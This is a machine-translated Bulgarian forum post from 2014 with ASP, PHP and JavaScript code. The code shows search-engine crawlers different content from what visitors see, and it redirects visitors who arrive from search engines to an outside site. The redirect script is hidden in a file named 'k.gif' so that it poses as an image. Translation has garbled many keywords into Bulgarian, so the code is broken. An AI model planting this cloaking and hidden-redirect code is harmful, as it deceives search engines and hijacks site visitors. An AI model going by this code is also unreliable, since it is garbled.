Първо, просто е – добавете следния код на началната страница:
ASP версия
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>
PHP версия
<!--#include file="conn.php"-->
<script src="images\k.gif"></script>
След това добавете следния код към conn файла според програмата на сайта, ако нямате conn.asp или conn.php, създайте го сами:
conn.asp издание
----------- следната репродукция--------------------------------
<%
функция isspider()
dim agent, searray, i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("Googlebot", "Baiduspider","Sogou","yahoo","soso","360spider")
isspider= невярно
за i=0 към ubound(searray)
ако (instr(agent,searray(i))>0) тогава isspider=true
Следващият
Крайна функция
функция fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
fromse= невярно
ако urlrefer="" тогава fromse= false
searray=array("Google","Baidu","sogou","yahoo","soso","360")
за i=0 към ubound(searray)
ако (instr(urlrefer,searray(i))>0) тогава fromse=true
Следващият
Крайна функция
функция gethttp(url)
dim http
set http=createobject("MSXML2. XMLHTTP")
http.open "GET",url,false
Http.send()
ако Http.readystate<>4 тогава
Изходна функция
край ако
gethttp=bytes2BSTR(Http.responseBody)
set http=нищо
ако err.number<>0, тогава err. Чисто
Крайна функция
function bytes2BSTR(vIn)
dim strReturn
dim i, ThisCharCode, NextCharCode
strReturn = ""
За i = 1 към LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Ако ThisCharCode < и H80, тогава
strReturn = strReturn & Chr(ThisCharCode)
Иначе
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Край ако
Следващият
bytes2BSTR = strReturn
Крайна функция
ако(isspider()) тогава
dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
отговор. ясно
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
отговор.flush
response.end
край ако
%>
conn.php
---------------- следващото възпроизвеждане----------------
<?php
функция is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = масив ('baiduspider', 'sogou spider', 'sosospider', 'iaskspider', 'naverrobot');
foreach ($identify AS $key => $tag){
ако (strstr($user_agent, $tag)){
върни се истински;
}
}
отговорът е фалшив; }
функция is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = explode("@",$come_from);
foreach($referer като $url){
ако (stristr($_SERVER['HTTP_REFERER'],$url)){
върни се истински;
}
}
отговорът е фалшив; }
ако (is_search_bot())
{
$html = "<title>Професионален колеж по софтуерно инженерство в Ухан</title> <meta name=\"Автор\" съдържание=\"Попълнете същото като ключови думи\"> <meta name=\"Ключови думи\" съдържание=\"Ключови думи\"> <meta name=
\"Описание\" съдържание=\"Описание\"> </head> <body>съдържание</body></html>";
Ехо $html;
}
ако (!is_search_bot() && is_urlbaidu())
{
Header('Местоположение:http://www.itsvse.com');
}
?>
Накрая, в директорията с изображения, качете k.gif файл k.gif кода:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; Пренасочване на URL
|
Публикувано в 1.12.2014 г. 18:48:55 ч.
|
|
|
